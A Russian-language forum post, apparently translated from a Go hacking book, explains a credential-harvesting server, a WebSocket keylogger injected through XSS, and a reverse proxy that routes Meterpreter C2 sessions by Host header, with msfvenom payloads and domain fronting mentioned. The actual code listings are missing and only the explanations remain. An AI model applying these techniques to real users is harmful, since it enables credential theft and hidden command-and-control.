В функции main() мы начинаем с открытия файла, в котором будут храниться перехваченные данные. Затем используем log.SetOutput(io.Writer), передавая ей только что созданный дескриптор файла для настройки пакета логирования, чтобы он производил запись в этот файл. Далее создаем новый маршрутизатор и добавляем функцию-обработчик login().

Перед запуском сервера нужно выполнить еще одно действие: сообщить маршрутизатору о необходимости предоставлять статические файлы из каталога. Таким образом, ваш сервер Go явно знает, где находятся все статические файлы — изображения, JavaScript, HTML. Go упрощает этот процесс и обеспечивает защиту против атак по обходу каталогов. Начиная изнутри, мы используем http.Dir(string) для определения каталога, из которого нужно предоставлять файлы. Результат передается в качестве ввода в http.FileServer(FileSystem), которая создает для данного каталога http.Handler. Все это прикрепляется к маршрутизатору с помощью PathPrefix(string). Использование / в качестве префикса пути будет соответствовать всем запросам, которые еще не нашли соответствия. Обратите внимание на то, что по умолчанию возвращаемый из FileServer обработчик поддерживает индексацию каталогов, что может спровоцировать утечку информации. Это можно отключить, но здесь мы данный вопрос рассматривать не будем.

В завершение, как и прежде, мы запускаем сервер. Собрав и выполнив код Сервера сбора учетных данных, откройте браузер и перейдите на http://localhost:8080. Попробуйте отправить через форму имя пользователя и пароль. Затем выйдите из программы и откройте credentials.txt:

Только взгляните на эти логи! Здесь видно, что были отправлены имя Oleg и пароль p@ssw0rd1!. Наш вредоносный сервер успешно обработал POST-запрос формы, перехватив введенные учетные данные и сохранив их в файл для просмотра офлайн. Будучи атакующим, вы могли бы затем использовать эти данные против целевой организации и продолжить внедрение в ее систему.

Далее мы проработаем вариацию этой техники по сбору учетных данных. Вместо ожидания отправки формы создадим кейлогер для перехвата нажатий клавиш в реальном времени.



Кейлогинг с помощью WebSocket API



WebSocket API (WebSockets) — это полнодуплексный протокол, чья популярность на протяжении последних лет возросла, поскольку теперь он поддерживается во многих браузерах. Этот протокол предоставляет веб-серверам и их клиентам способ эффективно взаимодействовать друг с другом. Что еще более важно, он позволяет серверу отправлять сообщения клиенту, не требуя опроса.

WebSockets применяются для создания приложений реального времени, таких как чаты и онлайн-игры. Но их можно задействовать и для вредоносных действий, например для внедрения кейлогера в приложение с целью перехвата всех нажимаемых пользователем клавиш. Для начала представьте, что нашли приложение, уязвимое для межсайтового выполнения сценариев (брешь, через которую сторонний агент может выполнять произвольный JS-код в браузере жертвы), или взломали сервер, получив возможность изменять исходный код этого приложения. При любом из этих вариантов вы сможете внедрить удаленный JS-файл. Мы с вами создадим инфраструктуру сервера для обработки WebSocket-соединения со стороны клиента и регистрации входящих нажатий клавиш.

В целях демонстрации для тестирования полезной нагрузки мы используем JS Bin (http://jsbin.com). JS Bin — это онлайн-песочница, где разработчики могут тестировать свой HTML- или JS-код. Перейдите на этот ресурс в браузере и вставьте следующий HTML в столбец слева, полностью заменив исходный код:

В правой части экрана отобразится форма. Вы могли заметить, что включили тег script с атрибутом src, установленным как http://localhost:8080/k.js. Это будет JS-код, реализующий создание WebSocket-соединения и отправку пользовательского ввода на сервер.

Нашему серверу потребуется выполнить два действия: обработать WebSocket и предоставить JS-файл. Давайте в первую очередь покончим с JavaScript, ведь книга, в конце концов, посвящена Go. (Инструкции по написанию JS-кода с помощью Go имеются в репозитории https://github.com/gopherjs/gopherjs/.)

Вот JS-код:

Он обрабатывает события нажатия клавиш. Каждое такое нажатие этот код отправляет через WebSocket на ресурс по адресу ws://{{.}}/ws. Напомним, что значение {{.}} является полем ввода шаблона Go, отражающего текущий контекст. Этот ресурс представляет WebSocket URL, который будет вносить информацию о местоположении сервера на основе переданной в шаблон строки. Мы вернемся к этому через минуту. Для этого примера сохраним JS в файл logger.js.

Вас может смутить то, что мы вроде собирались предоставлять его как k.js. HTML-код, который мы показали ранее, тоже явно использует k.js. Что это значит? Это значит, что на деле logger.js является не JS-файлом, а шаблоном Go. Мы будем применять k.js в маршрутизаторе в качестве паттерна для сопоставления. При его совпадении сервер будет отображать шаблон из файла logger.js, заполненный контекстными данными, представляющими хост, к которому подключается WebSocket. Код сервера, реализующий этот процесс, показан в коде ниже.

Сервер кейлогинга

Сервер кейлогинга

Рассмотрим приведенный код подробнее. Прежде всего, обратите внимание на то, что мы используем еще одну стороннюю библиотеку, gorilla/websocket, с помощью которой обрабатываем коммуникации WebSocket. Это полноценный мощный пакет, упрощающий процесс разработки, наподобие уже знакомого вам gorilla/mux. Не забудьте сначала выполнить из терминала go get github.com/gorilla/websocket.

Затем переходим к определению нескольких переменных. Мы создаем экземпляр websocket.Upgrader, который будет добавлять в белый список каждый источник. Допуск всех источников обычно считается плохой практикой в плане безопасности, но здесь мы не придаем этому значения, поскольку работаем с тестовым экземпляром, который будем запускать на локальных рабочих станциях. Для использования в реальных вредоносных действиях источник нужно будет ограничить конкретным значением.

В функции init(), выполняющейся автоматически перед main(), мы определяем аргументы командной строки и пытаемся спарсить шаблон Go, расположенный в файле logger.js. Обратите внимание на то, что мы вызываем template.ParseFiles("logger.js"). Проверяем ответ, чтобы убедиться в успешном парсинге файла. Если все правильно, то спарсенный шаблон будет сохранен в переменной jsTemplate.

На данный момент мы еще не предоставляли контекстуальных данных шаблону и не выполняли его. Это произойдет чуть позже. Сначала идет определение функции serveWS(), которая будет использоваться для обработки WebSocket-коммуникаций. С помощью вызова upgrader.Upgrade(http.ResponseWriter, *http.Request, http.Header) мы создаем экземпляр websocket.Conn. Метод Upgrade() расширяет HTTP-соединение для использования протокола WebSocket. Это означает, что любой обрабатываемый данной функцией запрос будет расширен для использования WebSocket. Мы взаимодействуем с этим соединением внутри бесконечного цикла for, вызывая для чтения входящих сообщений conn.ReadMessage(). Если JS-код будет работать должным образом, то сообщения должны состоять из перехваченных символов нажатых клавиш. Эти сообщения и удаленный IP-адрес клиента записываются в stdout.

Мы разобрали самую сложную часть пазла создания обработчика WebSocket. Далее идет создание еще одной функции-обработчика serveFile(). Она будет извлекать и возвращать содержимое JS-шаблона, заполненного включенными контекстными данными. Для этого мы установим заголовок Content-Type как application/javascript. Это сообщит подключающимся браузерам, что содержимое тела HTTP-ответа должно рассматриваться как JavaScript. Во второй и последней строке обработчика выполняется вызов jsTemplate.Execute(w, wsAddr). Помните, как мы парсили logger.js в функции init() во время бутстрэппинга сервера? Результат был сохранен в переменной jsTemplate. Данная строка кода обрабатывает тот самый шаблон. Мы передаем ей io.Writer (в нашем случае используется w, http.ResponseWriter) и контекстные данные типа interface{}. Тип interface{} означает, что можно передать любой тип переменной, будь то строка, структура или что-то другое. В данном случае мы передаем строковую переменную wsAddr. Если вернуться назад к функции init(), то можно заметить, что эта переменная содержит адрес WebSocket-сервера и устанавливается через аргумент командной строки. Говоря кратко, она заполняет шаблон данными и записывает его как HTTP-ответ. Довольно хитро!

Мы реализовали функции-обработчики serveFile() и serveWS(). Теперь нужно только настроить маршрутизатор для сопоставления шаблонов, чтобы передавать выполнение правильному обработчику. Как и ранее, это делается в функции main(). Первый обработчик сопоставляется с URL-шаблоном /ws, выполняя функцию

serveWS для апгрейда и обработки WebSocket-соединений. Второй маршрут сопоставляется с шаблоном /k.js, выполняя функцию serveFile(). Таким образом сервер передает отрисованный JS-шаблон клиенту.

Теперь давайте этот сервер запустим. Если открыть HTML-файл, то мы увидим сообщение connection established. Оно регистрируется, так как JS-файл был успешно отрисован в браузере и запросил WebSocket-соединение. Если ввести учетные данные в элементы формы, то они будут выведены в stdout на сервере:

У нас все получилось! На выводе мы видим список всех нажатых при заполнении формы клавиш. В данном случае это набор пользовательских учетных данных. Если у вас возникли сложности, убедитесь, что передаете в качестве аргументов командной строки точные адреса. Кроме того, сам HTML-файл может нуждаться в доработке, если вы вызываете k.js с сервера, чей адрес отличен от localhost:8080.

Приведенный код можно улучшить несколькими способами. В одном из них можно логировать вывод не в терминал, а в файл или другое постоянное хранилище. Это снизит вероятность потери данных по причине закрытия окна терминала или перезапуска сервера. К тому же если ваш кейлогер регистрирует нажатия клавиш одновременно на нескольких клиентах, данные в выводе могут смешиваться, усложняя сбор и анализ учетных данных разных пользователей. Этого можно избежать, определив более эффективный формат представления, который, например, группирует нажатые клавиши по уникальному клиенту/порту.

На этом знакомство с техниками сбора учетных данных закончено. Последним мы рассмотрим мультиплексирование HTTP‑соединений C2.



Мультиплексирование C2-соединений:



В последнем разделе главы мы покажем, как мультиплексировать HTTP-соединения Meterpreter к различным бэкенд-серверам управления. Meterpreter — это популярный гибкий инструмент исполнения команд (C2), являющийся частью фреймворка Metasploit. Здесь мы не будем излишне углубляться в подробности Metasploit или Meterpreter. Если вы с ними прежде не сталкивались, рекомендуем ознакомиться с одним из множества руководств или сайтов документации.

В этом же разделе поговорим о создании обратного HTTP-прокси в Go, который позволит динамически перенаправлять входящие сессии Meterpreter на основе HTTP-заголовка Host. Именно так и работает виртуальный хостинг сайтов. Тем не менее вместо предоставления различных локальных файлов и каталогов мы будем проксировать соединение на разных слушателей Meterpreter. Это будет интересным случаем применения по нескольким причинам.

Во-первых, прокси-сервер выступает в роли переадресатора, позволяя раскрывать только имя домена и IP-адрес, но не слушателей Meterpreter. Если переадресатор вдруг попадет в черный список, можно будет легко переместить его, не перемещая C2-сервер. Во-вторых, вы можете расширить приведенные здесь концепции для выполнения доменного фронтирования, техники задействования доверенных сторонних доменов (зачастую от облачных провайдеров) для обхода ограничивающего контроля исходящего трафика. Мы не будем разбирать здесь пример детально, но вам рекомендуем изучить эту тему подробнее, поскольку это очень мощная техника. И наконец, приведенный пример показывает, как можно совместно использовать одну комбинацию «хост/порт» в команде союзников, потенциально атакуя разные целевые организации. Поскольку порты 80 и 443 — это наиболее вероятные допустимые точки выхода, можно применять прокси-сервер для их прослушивания и перенаправления соединений на правильного слушателя.

Вот наш план. Мы настроим два отдельных обратных HTTP-слушателя Meterpreter. В этом примере они будут размещаться на виртуальной машине с IP-адресом 10.0.1.20, также вполне допускается их размещение на разных хостах. Мы привяжем этих слушателей к портам 10080 и 20080 соответственно. В реальном сценарии они могут выполняться где угодно, при условии что прокси-сервер сможет связаться с их портами. Убедитесь, что у вас установлен Metasploit (в Kali Linux он установлен по умолчанию), затем запустите слушателей:

При запуске слушателя мы передаем прокси-данные как значения LHOST и LPORT. Тем не менее устанавливаем продвинутые опции ReverseListener, BindAddress и ReverseListenerBindPort на действительный IP-адрес и порт, где должен запускаться слушатель. Это дает некоторую гибкость при использовании портов, в то же время позволяя явно идентифицировать прокси-сервер, которым в случае, например, настройки фронтирования домена может быть имя хоста.

Во втором экземпляре Metasploit мы делаем то же самое для запуска дополнительного слушателя на порте 20080. Единственное отличие здесь в привязке к другому порту:

Теперь создадим обратный прокси, исчерпывающий код которого приведен в коде ниже.

Мультиплексирование Meterpreter

Мультиплексирование Meterpreter

В первую очередь выполняется импорт пакета net/http/httputil, который содержит вспомогательную функциональность для создания обратного прокси. Это избавит вас от необходимости делать все с нуля.

После импорта пакетов определяются две переменные, которые являются картами. Первая, hostProxy, будет служить для сопоставления имен хостов с URL-адресом слушателя Metasploit, на который их нужно направлять. Вспомните, что переадресацию мы делаем на основе заголовка Host, который ваш прокси-сервер получает в HTTP-запросе. Поддержание этого сопоставления — простой способ определения мест назначения.

Вторая переменная, proxies, также будет использовать в качестве значения ключей имена хостов. Тем не менее соответствующие им значения в карте являются экземплярами *httputil.ReverseProxy. То есть эти значения будут не строковыми представлениями места назначения, а фактическими экземплярами прокси-сервера, на которые можно делать перенаправление.

Обратите внимание: данную информацию мы кодируем жестко, и это не самый удачный способ управления конфигурацией и проксирования данных. В более оптимальной реализации информация сохранялась бы во внешнем файле конфигурации, но это упражнение мы оставим вам для самостоятельной проработки.

С помощью функции init() мы определяем сопоставления между именами доменов и целевыми экземплярами Metasploit. В этом случае будем перенаправлять все запросы со значением заголовка Host, равным attacker1.com, на http://10.0.1.20:10080, а со значением attacker2.com — на http://10.0.1.20:20080. Конечно же, пока мы не делаем реальное перенаправление, а просто создаем зачаточную конфигурацию. Обратите внимание на то, что адреса назначения соответствуют значениям ReverseListenerBindAddress и ReverseListenerBindPort, которые мы использовали для слушателей Meterpreter ранее.

Далее все в той же функции init() мы перебираем карту hostProxy, делая парсинг целевых адресов для создания экземпляров net.URL. Полученный результат задействуется в качестве ввода в вызове функции httputil.NewSingleHostReverseProxy (net.URL), которая является вспомогательной функцией, создающей обратный прокси из URL. Более того, тип httputil.ReverseProxy удовлетворяет требованиям интерфейса http.Handler, то есть создаваемые экземпляры прокси можно использовать как обработчики для маршрутизатора. Делается это с помощью функции main(). Сначала создается маршрутизатор, после чего осуществляется перебор всех экземпляров прокси. Напомним, что ключ — это имя хоста, а значение имеет тип httputil.ReverseProxy. Для каждой пары «ключ/значение» карты мы добавляем в маршрутизатор функцию сопоставления. Тип Route из набора Gorilla MUX содержит такую функцию под названием Host, которая получает имя хоста для сопоставления со значениями заголовка Host входящих запросов. Для каждого имени хоста, которое нужно проверить, мы указываем маршрутизатору использовать соответствующий прокси. Это на удивление простое решение того, что в противном случае оказалось бы сложной задачей.

В завершение происходит запуск сервера и его привязка к порту 80. Сохранитесь и запустите программу. Это нужно будет сделать от имени привилегированного пользователя, поскольку привязка выполняется к привилегированному порту.

На данный момент у нас запущены два обратных HTTP-слушателя Meterpreter, а также должен работать обратный прокси-сервер. Последний шаг — генерирование тестовой полезной нагрузки для проверки его итоговой работоспособности. Для этого мы задействуем msfvenom — инструмент генерирования полезной нагрузки, который также поставляется вместе с Metasploit. С его помощью создадим два исполняемых файла Windows:

Эти команды создадут два файла с названиями payload1.exe и payload2.exe. Обратите внимание на то, что единственное различие между ними помимо самого имени заключается в значениях HttpHostHeader. Это гарантирует, что итоговая полезная нагрузка отправляет свои HTTP-запросы с конкретным значением заголовка Host. Также стоит заметить, что значения LHOST и LPORT соответствуют информации нашего обратного прокси-сервера, а не слушателей Meterpreter. Отправьте эти исполняемые файлы в систему Windows или на виртуальную машину. При их выполнении должны устанавливаться две сессии: одна в слушателе, привязанном к порту 10080, вторая в слушателе, привязанном к порту 20080. Выглядеть они должны так:

Если с помощью tcpdump или Wireshark вы проверите трафик, предназначенный для порта 10080 или 20080, то должны увидеть, что обратный прокси-сервер является единственным хостом, коммуницирующим со слушателем Metasploit. Вы также можете убедиться, что заголовок Host соответствующим образом устанавливается на attacker1.com для слушателя на порте 10080 и на attacker2.com для слушателя на порте 20080.

Вот и все. Вы справились! Теперь пора поднять планку. Я советую вам в качестве дополнительного упражнения доработать код для использования поэтапной полезной нагрузки. Это будет сопряжено с дополнительными трудностями, так как потребуется добиться того, чтобы обе стадии правильно перенаправлялись через прокси. Затем попробуйте реализовать это с помощью HTTPS вместо небезопасного HTTP. Так вы сможете глубже разобраться в проксировании трафика для вредоносных целей и повысить его эффективность.

ССЫЛКА НА ТЕЛЕГРАМ КАНАЛ АВТОРА

Показать полностью 16
[моё] Linux Информационная безопасность Хакеры Взлом Программирование IT Программист Длиннопост
1
Посты не найдены
О нас
О Пикабу Контакты Реклама Сообщить об ошибке Сообщить о нарушении законодательства Отзывы и предложения Новости Пикабу Мобильное приложение RSS
Информация
Помощь Кодекс Пикабу Команда Пикабу Конфиденциальность Правила соцсети О рекомендациях О компании
Наши проекты
Блоги Работа Промокоды Игры Курсы
Партнёры
Промокоды Биг Гик Промокоды Lamoda Промокоды Мвидео Промокоды Яндекс Маркет Промокоды Пятерочка Промокоды Aroma Butik Промокоды Яндекс Путешествия Промокоды Яндекс Еда Постила Футбол сегодня
На информационном ресурсе Pikabu.ru применяются рекомендательные технологии